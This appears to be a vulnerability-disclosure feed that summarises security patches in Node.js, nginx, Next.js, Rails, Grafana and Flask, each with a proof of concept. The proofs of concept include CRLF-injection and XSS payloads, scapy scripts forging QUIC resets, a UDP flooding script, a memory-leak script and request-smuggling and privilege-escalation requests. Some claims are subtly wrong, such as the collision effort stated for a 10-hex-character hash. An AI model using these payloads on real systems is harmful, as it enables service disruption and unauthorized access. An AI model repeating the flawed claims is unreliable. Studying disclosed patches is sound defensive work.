📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Wednesday, August 12, 2026

📋 Today’s Briefing

373
Total Findings
92
Confirmed CVEs
213
Verified
0
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 131 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

🔥 HIGH VERIFIED HTTP Header Injection (CRLF Injection)

Mar 2, 2026, 07:10 PM — nodejs/node

Commit: acb79bca7efde3d48f36f0aaa1a16cacbcec7ae1

Author: Matteo Collina

The `path` property on `ClientRequest` was only validated against `INVALID_PATH_REGEX` at construction time. After construction, an attacker (or vulnerable application code) could reassign `req.path` to include CRLF sequences (`\\r\\n`), which would then be flushed verbatim to the socket in `_implicitHeader()`, allowing injection of arbitrary HTTP headers or request smuggling. The patch adds a getter/setter using a symbol-backed property so validation runs on every assignment.

🔍 View Affected Code & PoC

Affected Code

this.path = options.path || '/';

Proof of Concept

const http = require('http');
const req = new http.ClientRequest({ host: 'example.com', port: 80, path: '/safe', method: 'GET', createConnection: () => {} });
// After construction, mutate path with CRLF injection
req.path = '/safe\r\nX-Injected: malicious\r\nFoo: bar';
// When _implicitHeader() fires, it sends: GET /safe\r\nX-Injected: malicious\r\nFoo: bar HTTP/1.1
// This injects arbitrary headers into the outgoing HTTP request

🔥 HIGH VERIFIED CRLF Injection

Mar 2, 2026, 12:49 PM — nodejs/node

Commit: e78bf55913d5f6e505d8089514f06f3f539be05f

Author: Richard Clarke

The `writeEarlyHints()` function in Node.js HTTP server directly concatenated user-supplied header names and values into the raw HTTP/1.1 response without any validation. Unlike `setHeader()` and `writeHead()`, no calls to `validateHeaderName()`, `validateHeaderValue()`, or `checkInvalidHeaderChar()` were made, allowing CRLF sequences to pass through unchecked and inject arbitrary HTTP headers or entire responses. The patch adds proper validation for header names, values, and Link header URLs.

🔍 View Affected Code & PoC

Affected Code

const keys = ObjectKeys(hints);
  for (let i = 0; i < keys.length; i++) {
    const key = keys[i];
    if (key !== 'link') {
      head += key + ': ' + hints[key] + '\r\n';
    }
  }

Proof of Concept

const http = require('http');
const server = http.createServer((req, res) => {
  // Inject a fake Set-Cookie header via CRLF in a non-link header value
  res.writeEarlyHints({
    'link': '</style.css>; rel=preload; as=style',
    'X-Custom': 'value\r\nSet-Cookie: session=hijacked; Path=/'
  });
  res.end('hello');
});
// The raw HTTP response will contain an injected 'Set-Cookie: session=hijacked' header
// because 'value\r\nSet-Cookie: session=hijacked; Path=/' is concatenated directly into the response.
// Similarly, injecting via header name: { 'X-Foo\r\nSet-Cookie: evil=1': 'v' }

🔥 HIGH VERIFIED Information Disclosure (Uninitialized Memory Exposure)

Feb 27, 2026, 06:36 PM — nodejs/node

Commit: cc6c18802dc6dfc041f359bb417187a7466e9e8f

Author: Mert Can Altin

Before the patch, Buffer.concat() computed the total allocation size using the user-controllable `.length` property of each element, then allocated with `Buffer.allocUnsafe(length)`. For typed arrays, an attacker could spoof a larger `.length` via a getter, causing an oversized uninitialized Buffer to be returned, leaking process memory contents. The patch fixes this by using the typed array’s intrinsic byte length (`TypedArrayPrototypeGetByteLength`) and by allocating via `allocate` plus explicit zero-filling of any slack.

🔍 View Affected Code & PoC

Affected Code

for (let i = 0; i < list.length; i++) {
  if (list[i].length) {
    length += list[i].length;
  }
}
const buffer = Buffer.allocUnsafe(length);

Proof of Concept

/* Run on a Node version before cc6c18802dc6dfc041f359bb417187a7466e9e8f */

// Attacker-controlled Uint8Array with spoofed .length getter inflates allocation size.
const u8_1 = new Uint8Array([1, 2, 3, 4]);
const u8_2 = new Uint8Array([5, 6, 7, 8]);
Object.defineProperty(u8_1, 'length', { get() { return 1024 * 1024; } }); // 1MB

const b = Buffer.concat([u8_1, u8_2]);
console.log('returned length:', b.length); // BEFORE PATCH: 1048576 + 8 (or similar huge value)

// Only first 8 bytes are controlled; the rest is uninitialized heap data.
// Demonstrate leak by showing non-zero/unexpected bytes in the tail.
let leaked = 0;
for (let i = 8; i < b.length; i++) {
  if (b[i] !== 0) { leaked++; if (leaked > 32) break; }
}
console.log('non-zero bytes after concatenated data (leak indicator):', leaked);

// Print a slice of leaked memory.
console.log('tail sample:', b.subarray(8, 8 + 64));

🔥 HIGH VERIFIED NULL Pointer Dereference (Remote Denial of Service)

Feb 27, 2026, 03:35 PM — nginx/nginx

Commit: c67bf9415fca91434f047d6113435e4cc699c859

Author: user.email

Before the patch, the QUIC OpenSSL compatibility keylog callback discarded failures from ngx_quic_compat_set_encryption_secret(). Under memory pressure (allocation failure), the encryption context (secret-&gt;ctx) could remain NULL, yet ngx_quic_compat_create_record() would proceed to encrypt and dereference the NULL ctx, crashing the NGINX worker. The patch checks the return value, marks the QUIC connection as errored to fail the handshake cleanly, and adds a NULL guard in record creation to prevent the crash.

🔍 View Affected Code & PoC

Affected Code

(void) ngx_quic_compat_set_encryption_secret(c, &com->keys, level,
                                             cipher, secret, n);
...
secret = &rec->keys->secret;
ngx_memcpy(nonce, secret->iv.data, secret->iv.len);
/* later: encrypt using secret->ctx (could be NULL) */

Proof of Concept

# PoC: remote crash via QUIC handshake while forcing allocation failure (OOM)
# This demonstrates an exploitable, remotely triggerable DoS when QUIC is enabled
# and the worker runs out of memory during the TLS keylog callback.

# 1) Run nginx with QUIC enabled (HTTP/3) in a memory-cgroup limited container.
# Example docker run limiting memory so malloc failures occur during handshake:
#   docker run --rm -it --memory=64m --pids-limit=256 -p 443:443/udp nginx:quic
# (Use an nginx build/config that enables QUIC and listens on 443 quic.)

# 2) From another host, flood with QUIC handshakes to increase memory pressure:
# Using ngtcp2's client to rapidly initiate TLS/QUIC handshakes:
for i in $(seq 1 2000); do
  ngtcp2-client --exit-on-all-streams-close --timeout=1 127.0.0.1 443 >/dev/null 2>&1 &
done
wait

# Expected behavior BEFORE patch:
# - Under memory pressure, ngx_quic_compat_set_encryption_secret() can fail,
#   leaving secret->ctx NULL.
# - A subsequent CRYPTO record creation attempts to encrypt using NULL ctx,
#   leading to SIGSEGV and worker process crash (remote DoS).
#   (In logs/dmesg you'll see a segfault in the worker.)

# Expected behavior AFTER patch:
# - Handshake fails with internal error; worker does not crash.

🔥 HIGH VERIFIED Improper Authentication / Cryptographic Token Misbinding (QUIC Stateless Reset token exposure leading to DoS)

Feb 27, 2026, 03:30 PM — nginx/nginx

Commit: f72c7453f95143cd413dbc01d1ae9a28c67b39de

Author: Roman Arutyunyan

Before the patch, the QUIC stateless reset token was derived only from a shared secret and the connection ID, making the token identical across workers. In a multi-worker configuration with packet steering, an attacker could intentionally route a victim connection's packet to a different worker to trigger emission/observation of the stateless reset token, then forge a QUIC Stateless Reset to immediately terminate the victim connection (remote DoS). The patch binds the derived token to the worker number by incorporating ngx_worker into the KDF input, making tokens differ per worker and preventing cross-worker token acquisition/abuse.

🔍 View Affected Code & PoC

Affected Code

tmp.data = secret;
 tmp.len = NGX_QUIC_SR_KEY_LEN;

 if (ngx_quic_derive_key(c->log, "sr_token_key", &tmp, cid, token,
                         NGX_QUIC_SR_TOKEN_LEN) != NGX_OK) {

Proof of Concept

Prereqs: nginx built with QUIC, configured with multiple workers (e.g., worker_processes 4;), and client behind NAT or attacker can spoof/own a 5-tuple to influence RSS/ECMP so packets land on different workers.

1) Establish a QUIC connection from victim client (or attacker-controlled client) to nginx and note the server-chosen DCID used in 1-RTT packets.

2) Force a packet for that existing connection to be processed by the "wrong" worker (e.g., by changing UDP source port so Linux RSS hashes to another receive queue/worker while keeping the same QUIC DCID):
   # pseudo: send a 1-RTT packet with same DCID but altered UDP 5-tuple
   python3 - <<'PY'
from scapy.all import *
# Requires QUIC packet crafting; below is schematic.
SERVER_IP='1.2.3.4'
SERVER_PORT=443
SRC_IP='victim-or-attacker-ip'
NEW_SPORT=40000  # choose to steer to different worker via RSS hash
DCID=bytes.fromhex('00112233445566778899aabbccddeeff')  # observed DCID
# payload must be a syntactically valid short-header 1-RTT QUIC packet for that DCID
quic_pkt = b'\x40' + DCID + b'\x00'*32
send(IP(src=SRC_IP,dst=SERVER_IP)/UDP(sport=NEW_SPORT,dport=SERVER_PORT)/Raw(load=quic_pkt), verbose=False)
PY

3) Observe that nginx responds with a QUIC Stateless Reset on that 5-tuple. Capture it with tcpdump:
   sudo tcpdump -ni any udp port 443 -vv -X
   The Stateless Reset contains a 16-byte token at the end of the UDP payload.

4) Use the captured token to kill the real connection: send a forged Stateless Reset to the victim's original 5-tuple (or to the peer that will accept it), with the token at the end:
   python3 - <<'PY'
from scapy.all import *
SERVER_IP='1.2.3.4'
VICTIM_IP='victim-ip'
SPORT=443
DPORT=54321  # victim's UDP port used for the QUIC connection
TOKEN=bytes.fromhex('deadbeef'*4)  # replace with captured 16-byte token
# QUIC Stateless Reset is an unpredictable-looking packet >= 21 bytes, token must be last 16 bytes
payload = b'\x00'*32 + TOKEN
send(IP(src=SERVER_IP,dst=VICTIM_IP)/UDP(sport=SPORT,dport=DPORT)/Raw(load=payload), verbose=False)
PY

Expected result (pre-patch): the victim QUIC stack accepts the Stateless Reset and immediately closes the connection (DoS). Post-patch: token differs per worker, so a token obtained via wrong-worker routing will not validate for the victim's actual worker-path, and the forged reset is ignored.

🔥 HIGH VERIFIED Sensitive Data Exposure (Secrets persisted to cache)

Feb 26, 2026, 02:11 PM — vercel/next.js

Commit: 2307bf6e521a6969423f7010cdd36d4210d1b7a9

Author: Tobias Koppers

Before the patch, `ProcessEnv::read_all()` returned a serializable `EnvMap`, which could be automatically persisted into Turbopack/Next.js' on-disk persistent cache. This meant any process environment variable (including secrets like API keys and tokens) could be written to disk and later recovered by anyone with read access to the cache directory (e.g., another local user, CI artifact consumers, or a compromised build agent). The patch introduces `TransientEnvMap` with `serialization = "none"` and changes `read_all()` to return it, preventing env vars from being persisted and forcing them to be re-read from the process environment after cache restore.

🔍 View Affected Code & PoC

Affected Code

/// Reads all env variables into a Map
#[turbo_tasks::function]
fn read_all(self: Vc<Self>) -> Vc<EnvMap>;

// e.g.
Vc::cell(env_snapshot())

Proof of Concept

Prereq: a Next.js/Turbopack project using persistent caching (default local cache dir).

1) Run a build with a secret in the environment so it gets captured by `read_all()`:

   $ export AWS_SECRET_ACCESS_KEY='POC_SUPER_SECRET_123'
   $ export NEXT_TELEMETRY_DISABLED=1
   $ next dev   # or a turbopack-enabled build that populates the persistent cache

2) Search the on-disk cache for the secret (the exact path can vary by platform, but typically under the project’s .next cache or Turbopack cache directory):

   $ rg -n "POC_SUPER_SECRET_123" .next/ 2>/dev/null || true
   $ rg -n "POC_SUPER_SECRET_123" .turbo/ 2>/dev/null || true
   $ rg -n "POC_SUPER_SECRET_123" . 2>/dev/null | head

Expected vulnerable behavior (before patch): the secret string is found in one or more cache files because `EnvMap` was auto-serialized.

Impact demonstration: any actor who can read that cache directory (e.g., another user on the machine, or someone who downloads CI cache artifacts) can recover `AWS_SECRET_ACCESS_KEY` by grepping the cache.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-40460 Denial of Service (DoS) / Amplification via Stateless Reset flooding

Feb 26, 2026, 02:05 PM — nginx/nginx

📈 Patch landed 76 days 4 hours 25 minutes before CVE published

Commit: e6ffe8384ebf1972faac9b031b9ff6182e79cfd6

Author: Sergey Kandaurov

Before the patch, nginx would generate and send a QUIC Stateless Reset for every incoming packet that triggered the stateless reset path, with no per-source rate limiting. An attacker could spoof many UDP packets (often with spoofed source IPs) to force the server to spend CPU on hashing/random generation and to emit many Stateless Reset packets, creating resource exhaustion and reflected traffic. The patch adds a per-second Bloom-filter-based limiter keyed by source address so repeated triggers from the same address are declined.

🔍 View Affected Code & PoC

Affected Code

ngx_int_t
ngx_quic_send_stateless_reset(ngx_connection_t *c, ngx_quic_conf_t *conf,
    ngx_quic_header_t *pkt)
{
    ...
    if (pkt->len <= NGX_QUIC_MIN_SR_PACKET) {
        len = pkt->len - 1;
    ...
    return ngx_quic_send(c, buf, len, c->sockaddr, c->socklen);
}

Proof of Concept

Prereq: QUIC enabled on nginx (listen ... quic).

1) Flood the server with UDP datagrams that look like short-header QUIC packets with a random DCID, causing nginx to respond with Stateless Reset repeatedly.

Example Python flooder (sends many packets; if you can spoof, set a victim IP as source to demonstrate reflection):

`​`​`​python
import os, socket, time

target_ip = "NGINX_IP"
target_port = 443  # QUIC port

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# QUIC short header first byte: 0b010xxxxx (0x40..0x7f). Use 0x40.
# Fill rest with random bytes to simulate unknown connection id etc.
pkt_len = 1200
payload = bytes([0x40]) + os.urandom(pkt_len - 1)

end = time.time() + 10
while time.time() < end:
    s.sendto(payload, (target_ip, target_port))
`​`​`​

Expected behavior BEFORE patch: server emits a Stateless Reset for essentially every received datagram (observable with tcpdump on server: `udp and port 443` showing many outgoing packets) and CPU/network usage increases proportionally to attack rate.

Expected behavior AFTER patch: for a given source address, after the first reset in a 1-second window, subsequent reset attempts are mostly dropped (function returns NGX_DECLINED), significantly reducing outgoing packets and server work per attacker address.

If spoofing is available (raw sockets), repeat with varying spoofed source IPs to demonstrate reflection potential; without spoofing, the same script still demonstrates server-side CPU/network DoS from a single host.

⚠️ MEDIUM VERIFIED Cross-Site Scripting (XSS)

Feb 24, 2026, 08:56 PM — rails/rails

Commit: e905b2e3cda49e17f20ee65ef2b851b035f813a2

Author: Mike Dalessio

The markdown conversion functionality was vulnerable to XSS attacks through malicious javascript: URLs that could bypass protocol filtering using obfuscation techniques like leading whitespace, HTML entity encoding, or case variations. The patch fixes this by delegating URI validation to Rails::HTML::Sanitizer.allowed_uri? which properly handles these bypass attempts.

🔍 View Affected Code & PoC

Affected Code

if (href = node["href"]) && allowed_href_protocol?(href)
  "[#{inner}](#{href})"
else
  inner
end

Proof of Concept

<a href=" javascript:alert('XSS')">Click me</a> or <a href="&#106;avascript:alert('XSS')">Click me</a> - these would be converted to markdown links that execute JavaScript when clicked, bypassing the original protocol validation

🔥 HIGH VERIFIED Null Pointer Dereference

Feb 24, 2026, 07:51 PM — nodejs/node

Commit: 84d1e6cb0d43a1f29bea4d28829d77a1de937634

Author: Nora Dossche

The code failed to check if BIO_meth_new() returns NULL before passing the result to BIO_meth_set_* functions, causing a null pointer dereference. This could lead to application crashes and potential denial of service when SSL/TLS operations are initiated under memory pressure conditions.

🔍 View Affected Code & PoC

Affected Code

BIO_METHOD* method = BIO_meth_new(BIO_TYPE_MEM, "node.js SSL buffer");
BIO_meth_set_write(method, Write);

Proof of Concept

Trigger memory exhaustion by creating many large objects, then initiate SSL/TLS connection which calls NodeBIO::GetMethod(). When BIO_meth_new() fails and returns NULL due to memory pressure, the subsequent BIO_meth_set_write(NULL, Write) call will dereference NULL pointer causing segmentation fault and application crash.

⚠️ MEDIUM VERIFIED Open Redirect

Feb 23, 2026, 10:14 AM — grafana/grafana

Commit: e8a2b4becff169708c37dd3744be5fc5d59de662

Author: xavi

The ValidateRedirectTo function was vulnerable to open redirect attacks through URL fragments. Attackers could bypass path validation by using URL fragments containing dangerous patterns like '../' or '//', which were not sanitized before the redirect. The patch fixes this by validating fragments and returning a sanitized URL string instead of the original user input.

🔍 View Affected Code & PoC

Affected Code

if redirectDenyRe.MatchString(to.Path) {
	return errForbiddenRedirectTo
}
// Fragment validation was missing
return redirectTo // Original unsanitized input returned

Proof of Concept

POST /login with redirect_to cookie set to '/dashboard#//evil.com/steal' - the fragment '#//evil.com/steal' would bypass the path validation regex and could be used in client-side JavaScript to redirect users to the malicious domain

🔥 HIGH VERIFIED Buffer Overflow/Out-of-bounds Memory Access

Feb 23, 2026, 10:10 AM — nginx/nginx

Commit: bb8ec295ab59451c19c0ae0c66882b4f84ff4ef7

Author: CodeByMoriarty

The code failed to validate that sync sample values in MP4 stss atoms are 1-based as required by ISO 14496-12. A zero-valued stss entry caused the key_prefix calculation to exceed consumed samples, leading the backward loop in ngx_http_mp4_crop_stts_data() to walk past the beginning of the stts data buffer, causing out-of-bounds memory access.

🔍 View Affected Code & PoC

Affected Code

sample = ngx_mp4_get_32value(entry);
if (sample > start_sample) {
    break;
}
key_prefix = start_sample - sample;

Proof of Concept

Craft a malicious MP4 file with an stss atom containing a zero sync sample value (0x00000000). When nginx processes this file with mp4 module enabled and start_key_frame is on, the zero sample causes key_prefix to equal start_sample + 1, which exceeds the samples processed in the forward stts pass. This triggers the backward loop in ngx_http_mp4_crop_stts_data() to read/write beyond the stts buffer boundaries, potentially leading to memory corruption or information disclosure.

⚠️ MEDIUM VERIFIED Stack Overflow DoS

Feb 20, 2026, 04:48 AM — vercel/next.js

Commit: ca0957df545d2b7757bdf1a3a6343c65bffdbba9

Author: Josh Story

The unhandled rejection filter module was being bundled twice, causing mutual recursion when handling unhandled Promise rejections. Each instance captured the other's handler, creating an infinite loop that would overflow the stack and crash the server on any unhandled rejection.

🔍 View Affected Code & PoC

Affected Code

function filteringUnhandledRejectionHandler(reason, promise) {
  // Handler gets called recursively between two instances
  // No guards to prevent infinite recursion
}

Proof of Concept

// Trigger an unhandled Promise rejection in a Next.js server with the vulnerable setup
Promise.reject(new Error('test rejection'));
// This would cause infinite recursion between the two installed handlers,
// eventually overflowing the call stack and crashing the Node.js process

⚠️ MEDIUM VERIFIED Hash Collision

Feb 19, 2026, 06:22 PM — grafana/grafana

Commit: 6d3440a24dce4c5bd108b061a0aea9494dacc1e8

Author: beejeebus

The code was truncating SHA256 hashes to only 10 characters when generating secret names, dramatically increasing collision probability from negligible to ~1 in 16^10. This allows attackers to craft field names that collide with existing secret field names, potentially accessing or modifying secrets they shouldn't have access to.

🔍 View Affected Code & PoC

Affected Code

h := sha256.New()
h.Write([]byte(dsUID))
h.Write([]byte("|"))
h.Write([]byte(key))
n := hex.EncodeToString(h.Sum(nil))
return apistore.LEGACY_DATASOURCE_SECURE_VALUE_NAME_PREFIX + n[0:10]

Proof of Concept

1. Target existing secret with field name 'password' for dsUID 'abc123' (generates truncated hash like 'lds-sv-0d27eff323')
2. Craft malicious field name by brute-forcing inputs until finding one that produces same 10-character prefix
3. With ~1.1M attempts, find collision like field name 'malicious_field_xyz' that also produces 'lds-sv-0d27eff323'
4. Create datasource with the colliding field name to access/overwrite the legitimate 'password' secret

🔥 HIGH VERIFIED Authentication Bypass

Feb 19, 2026, 10:06 AM — grafana/grafana

Commit: d2b5d7ac04fe835fee18108f1f4655f528ace109

Author: Georges Chaudy

The code had a fallback authentication mechanism that would allow any request to bypass authorization checks when the primary authenticator failed. The fallback would accept requests with only namespace validation, effectively allowing unauthorized access to resources.

🔍 View Affected Code & PoC

Affected Code

newCtx, err = f.fallback(ctx)
if newCtx != nil {
    newCtx = resource.WithFallback(newCtx)
}
f.metrics.requestsTotal.WithLabelValues("true", fmt.Sprintf("%t", err == nil)).Inc()
return newCtx, err

Proof of Concept

Send a gRPC request to the unified storage service with malformed or missing authentication headers that would cause the primary authenticator to fail. The fallback authenticator would then activate, and any subsequent resource access request with a valid namespace (e.g., namespace: "some-valid-namespace") would be granted access regardless of actual user permissions, bypassing RBAC controls entirely.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27205 Information Disclosure

Feb 19, 2026, 05:56 AM — pallets/flask

📈 Patch landed 14 hours 49 minutes before CVE published

Commit: daca74d93a0edc458e618136de7d14803f06bc28

Author: David Lord

The session was not being marked as accessed when only reading operations like checking keys or length occurred, causing the 'Vary: Cookie' header to not be set. This could allow caching proxies to serve the same cached response to different users, potentially leaking session-dependent data between users.

🔍 View Affected Code & PoC

Affected Code

def session(self) -> SessionMixin:
    if self._session is None:
        self._session = si.make_null_session(self.app)
    return self._session

Proof of Concept

User A visits `/profile` which checks `if 'user_id' in session:` and returns personalized data. Caching proxy caches this response without Vary: Cookie header. User B visits same URL and receives User A's cached personal data because session wasn't marked as accessed during the `in` operation.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27205 Information Disclosure

Feb 19, 2026, 03:35 AM — pallets/flask

📈 Patch landed 17 hours 9 minutes before CVE published

Commit: 089cb86dd22bff589a4eafb7ab8e42dc357623b4

Author: David Lord

The session was not being marked as accessed when only checking keys/metadata, allowing caching proxies to cache pages for different users. This could lead to session data being served to wrong users through shared caches. The patch fixes this by tracking session access at the request context level.

🔍 View Affected Code & PoC

Affected Code

def __getitem__(self, key: str) -> t.Any:
    self.accessed = True
    return super().__getitem__(key)

Proof of Concept

1. User A logs in and visits /profile (session contains user data)
2. Caching proxy caches the response without Vary: Cookie header
3. User B visits /profile and gets User A's cached profile data
4. This occurs because operations like 'username' in session or len(session) didn't set accessed=True, so no Vary header was added
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27205 HTTP Response Splitting / Cache Poisoning

Feb 19, 2026, 03:02 AM — pallets/flask

📈 Patch landed 17 hours 42 minutes before CVE published

Commit: c17f379390731543eea33a570a47bd4ef76a54fa

Author: David Lord

The session was not properly marked as accessed when only reading session metadata (keys, length checks), allowing responses to be cached without the Vary: Cookie header. This could lead to cache poisoning where one user's cached response is served to another user, potentially exposing session-dependent data.

🔍 View Affected Code & PoC

Affected Code

def __getitem__(self, key: str) -> t.Any:
    self.accessed = True
    return super().__getitem__(key)

def get(self, key: str, default: t.Any = None) -> t.Any:
    self.accessed = True

Proof of Concept

1. User A visits `/check` endpoint that does `if 'admin' in session:` (metadata access only)
2. Response cached without Vary: Cookie header since session.accessed stays False
3. User B (different session) visits same endpoint, gets User A's cached response
4. User B sees content based on User A's session state instead of their own session
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-21725 Access Control Bypass

Feb 18, 2026, 10:25 PM — grafana/grafana

📈 Patch landed 6 days 17 hours 5 minutes before CVE published

Commit: 1bf82450843ecd6e044b74ed0a7cda10989e8b4a

Author: Mihai Turdean

The scope resolver cache was not invalidated when datasources were deleted, causing stale name-to-UID mappings. When a datasource was deleted and a new one created with the same name, the cached entry would resolve to the deleted datasource's UID, leading to incorrect authorization decisions. The patch fixes this by invalidating the cache entry for the datasource name scope during deletion.

🔍 View Affected Code & PoC

Affected Code

// Before patch - no cache invalidation in deletion handlers
hs.Live.HandleDatasourceDelete(c.GetOrgID(), ds.UID)
return response.Success("Data source deleted")

Proof of Concept

1. Create datasource 'test-ds' with UID 'uid-123' (cache stores test-ds -> uid-123)
2. Delete datasource 'test-ds' (cache still has stale test-ds -> uid-123)
3. Create new datasource 'test-ds' with UID 'uid-456'
4. Access control checks for 'test-ds' resolve to deleted UID 'uid-123' instead of current 'uid-456', potentially allowing unauthorized access or denying legitimate access
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-27979 Denial of Service / Resource Exhaustion

Feb 18, 2026, 04:53 PM — vercel/next.js

📈 Patch landed 26 days 23 hours 23 minutes before CVE published

Commit: c885d4825f800dd1e49ead37274dcd08cdd6f3f1

Author: Zack Tanner

The code had a missing size check for postponed request bodies in self-hosted setups, allowing attackers to send arbitrarily large payloads that would consume server memory and potentially crash the application. The patch ensures maxPostponedStateSize is consistently enforced across all code paths that buffer postponed bodies.

🔍 View Affected Code & PoC

Affected Code

const body: Array<Buffer> = []
for await (const chunk of req) {
  body.push(chunk)
}
const postponed = Buffer.concat(body).toString('utf8')

Proof of Concept

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
next-resume: 1
Content-Length: 1073741824

[1GB of 'A' characters]

This would cause the server to buffer the entire 1GB payload in memory without any size validation, leading to memory exhaustion and potential DoS.

⚠️ MEDIUM VERIFIED Information Disclosure

Feb 18, 2026, 11:55 AM — grafana/grafana

Commit: a6a74c570e33e07e55000fd0bf58cb97c0cc1c6b

Author: Matheus Macabu

The audit logging configuration was exposing sensitive data source request and response bodies by default. This could lead to credentials, API keys, and sensitive query data being logged in plaintext audit files accessible to system administrators.

🔍 View Affected Code & PoC

Affected Code

log_datasource_query_request_body = true
log_datasource_query_response_body = true

Proof of Concept

1. Configure a data source with API key in headers (e.g., Prometheus with `Authorization: Bearer secret-token`)
2. Execute query: `up{job="mysql"}`
3. Check audit logs - they would contain: `"request_body":{"headers":{"Authorization":"Bearer secret-token"}}` and full response data including potentially sensitive metrics values

🔥 HIGH VERIFIED Authorization Bypass

Feb 17, 2026, 03:51 PM — grafana/grafana

Commit: 0c82488359278bb6295db51dcb75693172fbc031

Author: Gabriel MABILLE

The rolebindings API was accessible to all authenticated users without proper authorization checks. This allowed any user to potentially view, modify, or create role bindings, leading to privilege escalation. The patch restricts access to only access policy identities.

🔍 View Affected Code & PoC

Affected Code

if a.GetResource() == "rolebindings" {
    return resourceAuthorizer.Authorize(ctx, a)
}

Proof of Concept

A regular user could make API calls to the rolebindings endpoint (e.g., GET /api/iam/rolebindings or POST /api/iam/rolebindings) with their normal user credentials to access or modify role bindings they shouldn't have access to, potentially escalating their privileges by binding themselves to administrative roles.

⚠️ MEDIUM VERIFIED HTTP Request Smuggling / Content Length Mismatch

Feb 17, 2026, 01:45 PM — nginx/nginx

Commit: ec714d52bd4914d52a113234c16e1855d9ac7dcf

Author: Sergey Kandaurov

The vulnerability allows attackers to cause a mismatch between the Content-Length header sent to SCGI backends and the actual request body size in unbuffered mode. This can lead to HTTP request smuggling or desynchronization between nginx and SCGI backends, potentially allowing request smuggling attacks.

🔍 View Affected Code & PoC

Affected Code

body = r->upstream->request_bufs;
while (body) {
    content_length_n += ngx_buf_size(body->buf);
    body = body->next;
}

Proof of Concept

Send a chunked POST request to nginx with SCGI backend in unbuffered mode:
`​`​`​
POST /scgi-endpoint HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 100

5
hello
0

`​`​`​
The recalculated body size (5 bytes) differs from original Content-Length (100 bytes), causing the SCGI backend to expect more data than nginx sends, leading to request desynchronization.

🔥 HIGH VERIFIED Authorization Bypass

Feb 16, 2026, 02:28 PM — grafana/grafana

Commit: eda64c644f56532db895902ca7036d06d9365d2b

Author: Costa Alexoglou

The code incorrectly assigned key functions for namespaced and cluster-scoped resources, causing namespaced resources to use cluster-scoped key functions and vice versa. This could allow unauthorized access to resources across namespace boundaries by manipulating resource keys.

🔍 View Affected Code & PoC

Affected Code

if isNamespaced {
    statusStore.Store.KeyFunc = grafanaregistry.NamespaceKeyFunc(gr)
    statusStore.Store.KeyRootFunc = grafanaregistry.KeyRootFunc(gr)
} else {
    statusStore.Store.KeyFunc = grafanaregistry.ClusterScopedKeyFunc(gr)

Proof of Concept

curl -X PATCH 'http://localhost:3000/apis/advisor.grafana.app/v0alpha1/namespaces/admin-namespace/checks/sensitive-check/status' -H 'Content-Type: application/json-patch+json' -u 'low-priv-user:password' -d '[{"op": "replace", "path": "/status", "value": {"compromised": true}}]' - This would allow a low-privileged user to modify status of resources in other namespaces due to incorrect key function assignment.

⚠️ MEDIUM VERIFIED Authorization Bypass

Feb 16, 2026, 09:59 AM — grafana/grafana

Commit: bcc238cf782dabfc23166336f2f4c924dd76fff8

Author: Misi

The endpoint allowed any authenticated user to access team member information without proper authorization checks. The patch adds a permission check requiring 'GetPermissions' verb on the Team resource before returning member data.

🔍 View Affected Code & PoC

Affected Code

// No authorization check before returning team members
result, err := s.client.Search(ctx, searchRequest)
if err != nil {
    responder.Error(err)
    return
}

Proof of Concept

An authenticated user without team permissions could call GET /api/teams/{team-id}/members to retrieve sensitive member information for any team they shouldn't have access to, potentially exposing user associations and team structure across the organization.

⚠️ MEDIUM VERIFIED Authorization Bypass

Feb 16, 2026, 07:30 AM — grafana/grafana

Commit: 45f14bc5ab6e7a2a45f91029ca7c05d46ac613d2

Author: Gonzalo Trigueros Manzanas

The files API endpoints were not enforcing quota limits, allowing authenticated users to bypass resource quotas and create unlimited files/dashboards. This could lead to resource exhaustion and denial of service. The patch adds quota checks before allowing POST/PUT operations on files.

🔍 View Affected Code & PoC

Affected Code

func (c *filesConnector) handleRequest(ctx context.Context, name string, r *http.Request, info rest.ConnectRequest) (http.Handler, error) {
	// Missing quota enforcement for write operations
	obj, err := c.handleMethodRequest(ctx, r, opts, isDir, dualReadWriter)
}

Proof of Concept

POST /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/test-repo/files/dashboard1.json with valid auth token and dashboard JSON payload. Repeat requests beyond the configured quota limit (e.g., if quota is 10 resources, make 15+ POST requests creating new files). Before the patch, all requests would succeed despite exceeding quota, potentially exhausting disk space or overwhelming the system.